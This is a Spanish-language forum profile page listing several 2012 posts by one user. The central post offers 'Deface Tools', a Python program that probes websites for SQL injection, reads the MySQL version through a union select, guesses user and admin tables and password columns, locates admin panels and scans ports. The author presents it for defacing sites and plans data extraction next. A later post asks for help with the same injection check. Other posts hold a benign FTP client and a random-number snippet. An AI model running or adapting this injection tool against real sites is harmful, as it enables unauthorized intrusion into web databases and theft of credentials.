Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Runex

#191
Scripting / Re: Es dificil o imposible?
20 Marzo 2012, 14:36 PM
En python sería algo así:

import random
y = 0

while y<4:
   x = random.randint(0,20)
   print x,
   y +=1

Con esto te servirá, en ocasiones se repetirá el número pero puedes ir ejecutándolo hasta que salgan los 4 diferentes.

No he tenido tiempo a más, porque me tengo que ir al instituto xd, si no te sirve, esta tarde te escribo el otro o si tienes prisa que te ayude mi compañero EleKtro H@cker :)

Un saludo :)
#192
Scripting / Deface Tools By Rune
17 Marzo 2012, 19:23 PM
La siguiente herramienta es un compendio de tools utilizadas en deface.
El programa consta de las siguientes características:
 
   ----> Admin Panel Finder
   ----> Check Vulnerability
   ----> Ascii To Hex
   ----> Ascii To Binary
   ----> Show Tables
   ----> Show Columns
   ----> Show Version DB
   ----> Port Scanner
   ----> View Web Code

Recuerdo que el programa no es sustituto de nuestras manos :) y solo sirve para inyecciones que salgan redondas, sin necesidad de modificar algún carácter o cualquier detalle mínimo.

Dejo aquí el code :)

Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Autor: Rune
# Fecha: 17/03/12
#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

import urllib,os,string


def check_ports(): #Funcion de escaneo de puertos
print """  
 _____            _      _____                                    
|  __ \          | |    / ____|                                  
| |__) |___  _ __| |_  | (___   ___  __ _ _ __  _ __   ___ _ __  
|  ___// _ \| '__| __|  \___ \ / __|/ _` | '_ \| '_ \ / _ \ '__|  
| |   | (_) | |  | |_   ____) | (__| (_| | | | | | | |  __/ |    
|_|    \___/|_|   \__| |_____/ \___|\__,_|_| |_|_| |_|\___|_|     """
                           
tablapuertos = []
errores = ["error","Error","inactiva","Inactiva","no ha podido establecer","!Vaya\xc2"]
print "\n\n [+] Port Scanner [+]"
print "\n[+] Introduce la web objetivo"
target = raw_input("\nTarget>")
print "\n[+] Escaneando puertos, puede llevar varios minutos..."
print "\n[+] Puertos escaneados:\n"
for puerto in range(0,65535): # Rango de 0, al total de puertos existente
try:
x = urllib.urlopen(target+":"+str(puerto))
for error in errores:
if error in x.read():
tablapuertos.append(puerto)
print "Puerto " + str(puerto)
except:
print "[-] No se ha podido establecer conexion con el servidor"
raw_input()
os.system("clear")
init()
if string.join(tablapuertos) == "":
print "[-] No se ha encontrado abierto ningun puerto"
raw_input()
os.system("clear")
init()
else:
print "\n [+] Puertos Abiertos [+]\n"
for elemento in tablapuertos:
print "----> " + elemento

def show_version(): # Funcion Mostrar Version
print """
  _____ _                    __      __            _            
 / ____| |                   \ \    / /           (_)            
| (___ | |__   _____      __  \ \  / /___ _ __ ___ _  ___  _ __  
 \___ \| '_ \ / _ \ \ /\ / /   \ \/ // _ \ '__/ __| |/ _ \| '_ \
 ____) | | | | (_) \ V  V /     \  /|  __/ |  \__ \ | (_) | | | |
|_____/|_| |_|\___/ \_/\_/       \/  \___|_|  |___/_|\___/|_| |_|
                                                                 """
print "\n\n [+] Show Version [+]"
tablaversiones = ["3.23","4.0.0","4.0.3","4.0.6","4.0.12","4.0.24","4.0.30","4.1.0","4.1.3","4.1.4","4.1.7","4.1.9","4.1.18","4.1.23","4.1.23","4.1.25","5.0.0","5.0.1","5.0.3","5.0.13","5.0.15","5.0.19","5.0.30","5.0.50","5.0.76","5.0.90","5.0.91","5.1.3","5.1.5","5.1.15","5.1.22","5.1.30","5.1.31","5.1.43","5.5.0","5.5.3"]
# Tablaversiones contiene todas las versiones de MySql hasta la actualidad
print "\n[+] Introduce la web objetivo"
version = ""
web = raw_input("Target>")
inyeccion = web + " and 1=0 union select @@version"
try:
t = urllib.urlopen(inyeccion).read()
for versionx in tablaversiones:
if versionx in t:
version = version + versionx
if version != "":
print "\n[+] La version del servidor SQL es --> " + version
raw_input()
os.system("clear")
init()
else:
print "\n[-] No se ha podido indentificar la version"
raw_input()
os.system("clear")
init()
except:
print "\n[-] No se ha podido realizar la inyeccion, compruebe la url"
raw_input()
os.system("clear")
init()

def show_columns2(): # Funcion Muestra columnas redireccionada desde init()
print """  
  _____ __                     ______       __                          
 / ___// /_  ____ _      __   / ____/____  / /__  ______ ___  ____  _____
 \__ \/ __ \/ __ \ | /| / /  / /    / __ \/ // / / / __ `__ \/ __ \/ ___/
___/ / / / / /_/ / |/ |/ /  / /___ / /_/ / // /_/ / / / / / / / / (__  )
/____/_/ /_/\____/|__/|__/   \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/  """
print "\n\n [+] Show Columns [+]"
columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
# Las columnas mas frecuentes con informacion importante ;)
column = [] # Lista donde se guardaran las columnas encontradas
print "\n[+] Inserte la web objetivo"
web = raw_input("Target>")
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
except:
print "\n[-] No se ha podido conectar con el servidor"
raw_input()
os.system("clear")
init()
print "\n [/] Inserte la tabla que desea investigar"
table = raw_input(">")
for elemento in columnas:
inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
column.append(elemento)# Anadimos la columna, con la cual el codigo no varia a la lista column
if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
print "\n\n [+] Columnas Encontradas [+] "
for elementoxs in column:
print "----> " + elementoxs #Las muestra
raw_input()
os.system("clear")
init()
else: # Si la lista esta vacia, columnas 0
print "\n\n [-] No se ha encontrado ninguna columna de usuario"
raw_input()
os.system("clear")
init()
 
   

def show_columns1(web,tabla): # Funcion mostrar columnas, redireccionada desde show_tables()
print """  
  _____ __                     ______       __                          
 / ___// /_  ____ _      __   / ____/____  / /__  ______ ___  ____  _____
 \__ \/ __ \/ __ \ | /| / /  / /    / __ \/ // / / / __ `__ \/ __ \/ ___/
___/ / / / / /_/ / |/ |/ /  / /___ / /_/ / // /_/ / / / / / / / / (__  )
/____/_/ /_/\____/|__/|__/   \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/  """
print "\n\n [+] Show Columns [+]"
columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
# Las columnas mas frecuentes con informacion importante ;)
column = [] # Lista donde se guardaran las columnas encontradas
print "\n [+] Tablas [+]"
for el in tabla: # Mostramos las tablas anteriormente encontradas para la visualizacion del usuario
print "----> " + el
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
except:
print "\n[-] No se ha podido conectar con el servidor"
raw_input()
os.system("clear")
init()
print "\n [/] Inserte la tabla que desea investigar"
table = raw_input(">")
for elemento in columnas:
inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
column.append(elemento) # Anadimos la columna, con la cual el codigo no varia a la lista column
if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
print "\n\n [+] Columnas Encontradas [+] "
for elementoxs in column:
print "----> " + elementoxs # Las muestra
raw_input()
os.system("clear")
init()
else: # Si la lista esta vacia, columnas 0
print "\n\n [-] No se ha encontrado ninguna columna de usuario"
raw_input()
os.system("clear")
init()






def view_code():
print """
  _____           _       __      ___              
 / ____|         | |      \ \    / (_)              
| |      ___   __| | ___   \ \  / / _  _____      __
| |     / _ \ / _` |/ _ \   \ \/ / | |/ _ \ \ /\ / /
| |____| (_) | (_| |  __/    \  /  | |  __/\ V  V /
 \_____|\___/ \__,_|\___|     \/   |_|\___| \_/\_/  
                                                    """
print "\n\n [+] View Code [+]"
print "\n[+] Inserte la url de la web"
print "[+] El codigo tambien se guardara en un archivo"
url = raw_input("\nTarget>") # Introducimos la web objetivo
try:
x = urllib.urlopen(url).read() # Abrimos la web en modo lectura
except:
print "\n[-] La url no es valida"
raw_input()
os.system("clear")
init()
print x
web = url.replace("/","")  # Creamos una variable que sistituya los / por espacios en blanco para poder guardar el archivo
f = open(web+".txt","w") # Creamos un archivo con el nombre de la web en extension .txt
f.write(x) # Escribimos el codigo sobre el
f.close() # Y cerramos
print "\n[+] Pulse cualquier tecla para volver..."
raw_input()
os.system("clear")
init()



def vuln2(web): # Funcion de chequeo de vulnerabilidades 2
print """  
_    __       __                       __    _ ___ __      
| |  / /__  __/ /____  ___  _________ _/ /_  (_) (_) /___  __
| | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
| |/ // /_/ / // / / /  __/ /  / /_/ / /_/ / / / / /_/ /_/ /
|___/ \__,_/_//_/ /_/\___/_/   \__,_/_.___/_/_/_/\__/\__, /  
                                                   /____/ """
                                                   
print "\n\n [+] Check Vulnerability [+]"
print "\n[+] Relizando un segundo escaneo..."
errores = ["Warning","Sql","MySql","warning","sql","SQL","MySQL"]
variable = 0
inyeccion = web + "'" # Declaramos la inyeccion, que sera igual que la web con comillas simples al final
try:
vulnerable = urllib.urlopen(inyeccion) # Abrimos la web
for error in errores:
if error in vulnerable.read(): # Y por cada error en la lista errores, si este error existe en el codigo, le sumamos 1 a variable
variable = variable + 1

if variable != 0: # Si variable es diferente de cero, indica que ha encontrado errores en el codigo, por tanto sera vulnerable
print "\n[+] El segundo escaneo indica que es vulnerable sin embargo, es de poca fiabilidad"
raw_input()
os.system("clear")
init()

else: # Al ser la variable igual que 0, no ha encontrado ningun error, y no es vulnerable
print "\n[-] Definitivamente la web no es vulnerable"
raw_input()
os.system("clear")
init()
except:
print " [-] Error en la comprobacion reeintente"
raw_input()
os.system("clear")
init()


def show_tables(): # Funcion Muestra Tablas
print """
  _____ __                     ______       __    __          
 / ___// /_  ____ _      __   /_  __/____ _/ /_  / /___  _____
 \__ \/ __ \/ __ \ | /| / /    / /  / __ `/ __ \/ // _ \/ ___/
___/ / / / / /_/ / |/ |/ /    / /  / /_/ / /_/ / //  __(__  )
/____/_/ /_/\____/|__/|__/    /_/   \__,_/_.___/_/ \___/____/ """
print "\n\n [+] Show Tables [+]"
tablas = ["users","admin","administrador","administrator","user","members","member","adm","nombres","cuentas","accounts","usuarios","wp-admin","wp-users"]
# Tablas de usuarios mas frecuentes ;)
tabla = [] # Lista vacia para almacenar las tablas encontradas
web = raw_input("\n\n[/]Target>")
print "[+] Localizando tablas de usuarios..."
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial en modo lectura
except:
print "[-] No se ha podido conectar al servidor, revise la url"
raw_input()
os.system("clear")
init()
for elemento in tablas:
inyeccion = " and (select(count(*)) from " + elemento + ");" # Declaramos el codigo de la inyeccion
try:
t = urllib.urlopen(web+inyeccion).read() # Abrimos la url de la web + inyeccion en modo lectura
except:
print "\n[-] No se ha podido realizar la inyeccion"
raw_input()
os.system("clear")
init()
if t == s: # Si el codigo no varia, la tabla es la que buscabamos
tabla.append(elemento) # Insertamos la tabla localizada en la lista vacia
print "\n\n [+] Tablas Encontradas [+] "
for el1 in tabla: # Y aqui las imprimimos
print "---> " + el1
print "\n[+] Quiere continuar extrayendo las columnas?" # Ahora nos da opcion de continuar o no con las columnas, si continuamos nos redirige a show_columns1()
print "0 ----> Si"
print "1 ----> No"
lecc = input("\n>")
if lecc == 0:
os.system("clear")
show_columns1(web,tabla)
else:
os.system("clear")
init()



def textTobin(): # Funcion encargada de convertir ascii a binario
print """
 ___           _ _   _____      ______ _      
/ _ \         (_|_) |_   _|     | ___ (_)      
/ /_\ \___  ___ _ _    | | ___   | |_/ /_ _ __  
|  _  / __|/ __| | |   | |/ _ \  | ___ \ | '_ \
| | | \__ \ (__| | |   | | (_) | | |_/ / | | | |
\_| |_/___/\___|_|_|   \_/\___/  \____/|_|_| |_|"""
                                                     
print "\n\n [+] Ascii To Bin [+]"
bina = ''
textoa = raw_input("\n\n[/] Texto Ascii>")
print "\n[+] Conversion [+]"
for letra in textoa: # Por cada letra en la cadena, convertimos cada una en binario y posteriormente las concatenamos
bina = bina + bin(ord(letra))
bina = bina.replace('b','') #Sustituyendo las 'b' creadas por espacios en blanco
print bina
raw_input()
os.system("clear")
init()

def textTohex(): # Funcion encargada de convertir ascii a hexadecimal
print """
 ______            __     ______          __  __          
/_  __/___   _  __/ /_   /_  __/____     / / / /___   _  __
 / /  / _ \ | |/_/ __/    / /  / __ \   / /_/ // _ \ | |/_/
/ /  /  __/_>  </ /_     / /  / /_/ /  / __  //  __/_>  <  
/_/   \___//_/|_|\__/    /_/   \____/  /_/ /_/ \___//_/|_|"""
print "\n\n [+] Ascii To Hex [+]"
textoa = raw_input("\n\n[/]Texto Ascii>")
hexa = ''
print "\n[+] Conversion [+]"
for letra in textoa: # Por cada letra en la cadena, convertimos cada una en hexadecimal y posteriormente las concatenamos
hexa = hexa + hex(ord(letra))
hexa = "0x%s" %hexa.replace('0x','') # Sustituyendo los '0x' creados por espacios en blanco menos el primero
print hexa
raw_input()
os.system("clear")
init()

def check_vuln(): # Funcion de chequeo de vulnerabilidades SQL
print """  
_    __       __                       __    _ ___ __      
| |  / /__  __/ /____  ___  _________ _/ /_  (_) (_) /___  __
| | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
| |/ // /_/ / // / / /  __/ /  / /_/ / /_/ / / / / /_/ /_/ /
|___/ \__,_/_//_/ /_/\___/_/   \__,_/_.___/_/_/_/\__/\__, /  
                                                   /____/ """
                                                   
print "\n\n [+] Check Vulnerability [+]"
web = raw_input("\n\n[/]Target>")
print "\n[+] Comprobando vulnerabilidad"
comando1 = " and 1=1" # Comandos de la inyeccion 1
comando2 = " and 1=0" # Comandos de la inyeccion 2
try:
# Abrimos las diferentes urls, para compararlas posteriormente
n = urllib.urlopen(web).read()
p = urllib.urlopen(web+comando1).read()
t = urllib.urlopen(web+comando2).read()
if p != t and p==n: # Si la inyeccion and 1=1 es igual al codigo de la web normal y es diferente al codigo de 1 = 0 es Vulnerable
print "\n[+] El servidor es vulnerable a SQL, continue con la inyeccion"
raw_input()
os.system("clear")
init()
else: # De lo contrario la web no es vulnerable y nos da la opcion de realizar un 2 escaneo
print "\n[-] El servidor no es vulnerable a SQL en su primer escaneo, quiere realizar un segundo?"
print "\n0---->Si"
print "1---->No"
eleccion = input("\n>")
if eleccion == 0:
os.system("clear")
vuln2(web)
else:
raw_input()
os.system("clear")
init()

except:
print "[-] No se ha podido conectar al servidor, revise la Url"
raw_input()
os.system("clear")
init()

def buscaPanel(): # Funcion que localizara el admin panel
print """  
   ____                   __   _______            __          
  / __ \____ _____  ___  / /  / ____(_)____  ____/ /___  _____
 / /_/ / __ `/ __ \/ _ \/ /  / /_  / // __ \/ __  // _ \/ ___/
/ ____/ /_/ / / / /  __/ /  / __/ / // / / / /_/ //  __/ /    
/_/    \__,_/_/ /_/\___/_/  /_/   /_//_/ /_/\__,_/ \___/_/    
                                                              """
print "\n\n [+] Admin Panel Finder [+]"
s = raw_input("\n\n[/]Target>")  # Introducimos la web a investigar
f = open("Paneles.txt","r") #Abrimos el archivo Paneles.txt que contiene los paneles mas frecuentes
tabla =[]
i = 0
try:
p = urllib.urlopen(s + "/dasfdsdvd").read() # Leemos el codigo de una pagina inexistente en la web
print "[+] Buscando paneles, esta busqueda puede tomar varios segundos/minutos"
for elemento in f.readlines(): # Leemos las lineas del archivo de texto, cada linea contiene un panel
t = urllib.urlopen(s+elemento).read() # Y abrimos en modo lectura, la url de la web + el panel
if t != p: # Si el codigo del panel es diferente al de la web inexistente, Bingo! (Problema) Puede mostrar errores distintos, "mejorar nueva version"
tabla2 = tabla.insert(i,elemento) # Guarda en una lista los paneles encontrados
print "\n [+] Paneles encontrados:\n"
for x in tabla:
print s + x # Y aqui los muestra
raw_input()
os.system("clear")
init()
except:
print "[-] Ningun Panel Encontrado / Web invalida"
raw_input()
os.system("clear")
init()
def init():
print """  
   ____       ____                    __              __    
  / __ \___  / __/____ _________     / /_____  ____  / /_____
 / / / / _ \/ /_ / __ `/ ___/ _ \   / __/ __ \/ __ \/ // ___/
/ /_/ /  __/ __// /_/ / /__/  __/  / /_/ /_/ / /_/ / /(__  )
/_____/\___/_/   \__,_/\___/\___/   \__/\____/\____/_//____/ """
print "\n\n [+] Menu Principal[+]\n "
print "0------> Admin Panel Finder"
print "1------> Check Vulnerability"
print "2------> Ascii To Hex"
print "3------> Ascii To Binary"
print "4------> Show Tables"
print "5------> Show Columns"
print "6------> Show Version DB"
print "7------> Port Scanner"
print "8------> View Web Code\n"
eleccion = input("[/] Que desea hacer?>")
if eleccion == 0:
os.system("clear")
buscaPanel()
elif eleccion == 1:
os.system("clear")
check_vuln()
elif eleccion == 2:
os.system("clear")
textTohex()
elif eleccion == 3:
os.system("clear")
textTobin()
elif eleccion == 4:
os.system("clear")
show_tables()
elif eleccion == 5:
os.system("clear")
show_columns2()
elif eleccion == 6:
os.system("clear")
show_version()
elif eleccion == 7:
os.system("clear")
check_ports()
elif eleccion == 8:
os.system("clear")
view_code()
else:
print "[-] El numero introducido no es valido"
raw_input()
os.system("clear")
init()
init()

# The End!



Y eso es todo compañeros, espero que sea de vuestro agrado, hay algunos errores, pero generalmente funciona bien.
En posteriores versiones implementaré la opción de extraer datos de las columnas :)

Un saludo :)

#193
Scripting / FTP Client Python By Rune
17 Marzo 2012, 15:02 PM
Posteo un programa que acabe hace un tiempo y quería mostrarlo, contribuyendo a la comunidad :).

Se trata de un cliente ftp, que permite investigar los directorios, subir y descargar archivos, sin interfaz gráfica pero considero, que sigue siendo un entorno bastante amigable :)

Aquí os dejo el código:
Código (python) [Seleccionar]

#!/usr/bin/env python
import ftplib,os


def darchivos(f): # Funcion encargada de descargar archivos del servidor
eleccion = "SI"


while eleccion != "NO" and eleccion == "SI":
try:
os.system("clear")
print " [+] Panel de Descargas [+]\n"
print "[+] Directorios y Archivos\n  "
for x in f.nlst():
print x
print " \n  [/]Inserte el nombre del archivo a descargar"
archivoserv = raw_input("Nombre>")

print "\n[+]Ahora inserte el nombre del archivo para guardar en su sistema"
archivodir = raw_input("Nombre>")
t = open(archivodir,"wb")
print "Descargando..."
f.retrbinary('RETR %s' %archivoserv,t.write)
print "[+]!Descarga completada con exito!"
print "[/] Quiere seguir descargando?"
eleccion = raw_input("Si o No?")
eleccion = eleccion.upper()
if eleccion == 'NO':
print "Pulse cualquier tecla para salir"
raw_input()
f.quit()
f.close()
if eleccion != 'NO' and eleccion != 'SI':
print "[-] Eleccion no valida"
raw_input()
darchivos(f)
except:
print "[-]No se ha podido descargar el archivo, compruebe la insercion del nombre y la validez del archivo"
raw_input()
os.system("clear")
for p in f.nlst():
print p
darchivos(f)


def archivos(f): # Funcion encargada de subir archivos al servidor

eleccion = 'SI'
while eleccion == 'SI' and eleccion != 'NO':
try:
os.system("clear")
print " [+] Panel de Subidas [+]\n"
print "[+] Directorios y Archivos\n  "
for sp in f.nlst():
print sp
print "\n[+] Inserte el nombre del archivo a subir junto con su directorio"
archivo_origen = raw_input("Nombre>")
t = open(archivo_origen,'rb')
except:
print "[-] Error,el archivo no existe,retornando"
raw_input()
os.system("clear")
archivos(f)
print "\n[+] Inserte ahora el nombre que tomara el archivo en el servidor"
archivo_destino = raw_input("Nombre>")
try:
f.storbinary('STOR %s' %archivo_destino,t)
print "[+] Subida completada con exito!"
print "[/] Quiere seguir descargando?"
eleccion = raw_input("Si o No?")
eleccion = eleccion.upper()
if eleccion == 'NO':
print "Pulse cualquier tecla para salir"
raw_input()
f.quit()
f.close()
if eleccion != 'NO' and eleccion != 'SI':
print "[-] Eleccion no valida"
raw_input()
archivos(f)

f.quit()
f.close()
except:
print "[-] No se ha podido subir el archivo, retornando"
raw_input()
os.system("clear")
archivos(f)


def mostrar_directorios(f): # Funcion que recorre los directorios del servidor

try:
os.system("clear")
print "[+] Directorios y Arhivos\n"
for x in f.nlst():
print x
print "\n[/] Elija directorio"
directorio = raw_input("Directorio>")
f.cwd(directorio)
os.system("clear")
except:
print "[-] El directorio introducido no es valido retornando"
raw_input()
os.system("clear")
f.quit()
f.close()
main()

print "[+] Directorios y Archivos ",directorio,"\n\n"
for x in f.nlst():
print x
print "\n[/] Desea investigar otro directorio?"
eleccion = raw_input("Si o No?>")
eleccion = eleccion.upper()
if eleccion == 'SI':
while eleccion == 'SI':
try:
print "[/] Elija Directorio:"
directoriox = raw_input("Directorio>")
f.cwd(directoriox)
os.system("clear")
print "[+] Directorios y Archivos  ",directoriox,"\n\n"
for s in f.nlst():
print s
except:
print "[-] El nombre introducido no existe o no es un directorio,retornando"
raw_input()
os.system("clear")
main()

print "\n[/] Desea investigar otro directorio?"
eleccion = raw_input("Si o No?>")
eleccion = eleccion.upper()
if eleccion == 'NO':
print "\n[+] Que funcion quiere llevar a cabo?"
print "--> Subir Archivos (Subir)"
print "--> Descargar Archivos (Descargar)"
eleccion3 = raw_input("Eleccion>")
eleccion3 = eleccion3.upper()
if eleccion3 == "SUBIR":
archivos(f)
elif eleccion3 == "DESCARGAR":
darchivos(f)
else:
print "[-] El valor introducido no es valido"
raw_input()
os.system("clear")
f.quit()
f.close()
main()
elif eleccion != 'SI' and eleccion != 'NO':
print "[-] No es una opcion valida, retornando"
raw_input()
os.system("clear")
f.quit()
f.close()
main()
elif eleccion == 'NO':
print "\n[/] Que funcion quiere llevar a cabo?"
print "--> Subir Archivos (Subir)"
print "--> Descargar Archivos (Descargar)"
eleccion3 = raw_input("Eleccion>")
eleccion3 = eleccion3.upper()
if eleccion3 == "SUBIR":
archivos(f)
elif eleccion3 == "DESCARGAR":
darchivos(f)
else:
print "[-] El valor introducido no es valido"
raw_input()
os.system("clear")
f.quit()
f.close()
main()

else:
print "[-] El valor introducido no es valido"
raw_input()
os.system("clear")
f.quit()
f.close()
main()







def entrarFtp(web): # Funcion encargada de conectar al servidor dando user y pass
try:
f = ftplib.FTP(web)
print "\n"+f.getwelcome()
except:

print "[-] El servidor es incorrecto, retornando"
raw_input()
os.system("clear")
main()
try:
user = raw_input("User>")
pasd = raw_input("Pass>")
f.login(user,pasd)
mostrar_directorios(f)


except:

print "[-] El user o la pass es incorrecto"
raw_input()
os.system("clear")
f.quit()
f.close()
main()



def main(): # Funcion Principal Main
print """
_____ ______ ____          __ _     ____   ___ ____  ______
|     |      |    \        /  ] |   |    | /  _]    \|      |
|   __|      |  o  )      /  /| |    |  | /  [_|  _  |      |
|  |_ |_|  |_|   _/      /  / | |___ |  ||    _]  |  |_|  |_|
|   _]  |  | |  |       /   \_|     ||  ||   [_|  |  | |  |  
|  |    |  | |  |       \     |     ||  ||     |  |  | |  |  
|__|    |__| |__|        \____|_____|____|_____|__|__| |__|  
                                                           

____  __ __      ____  __ __ ____    ___
|    \|  |  |    |    \|  |  |    \  /  _]
|  o  )  |  |    |  D  )  |  |  _  |/  [_
|     |  ~  |    |    /|  |  |  |  |    _]
|  O  |___, |    |    \|  :  |  |  |   [_
|     |     |    |  .  \     |  |  |     |
|_____|____/     |__|\_|\__,_|__|__|_____|
     """
print "[/]Introduzca el servidor ftp"
web = raw_input("FTP>")
entrarFtp(web)

main()


Un saludo :)
#194
Scripting / Error Urllib Python
17 Marzo 2012, 14:45 PM
Buenas bros! :)

Tengo un problema con el siguiente codigo:

print "\n\n         
  • Check Vulnerability
  • "
       print "\n
  • Relizando un segundo escaneo..."
       inyeccion = web + "'"
       vulnerable = urllib.urlopen(inyeccion).read()
       if "Warning" in vulnerable and "Sql" in vulnerable:
          print "\n[-] En este escaneo, la web se ha mostrado vulnerable, sin embargo, este segundo          escaneo no es muy fiable"
          raw_input()
          os.system("clear")
          init()   
       else:
          print "\n[-] Definitivamente la web no es vulnerable"
          raw_input()
          os.system("clear")
          init()

    El problema es que aunque se ingrese una web que se muestre vulnerable al añadirle comillas simples al final de la url, el programa no lo reconoce.

    Supongo que el problema estará en que el código no consigue encontrar las cadenas en la lectura del codigo fuente, es decir en esta linea del condicional:

    ---> if "Warning" in vulnerable and "Sql" in vulnerable:

    ¿Alguien tiene alguna idea?
    Gracias :)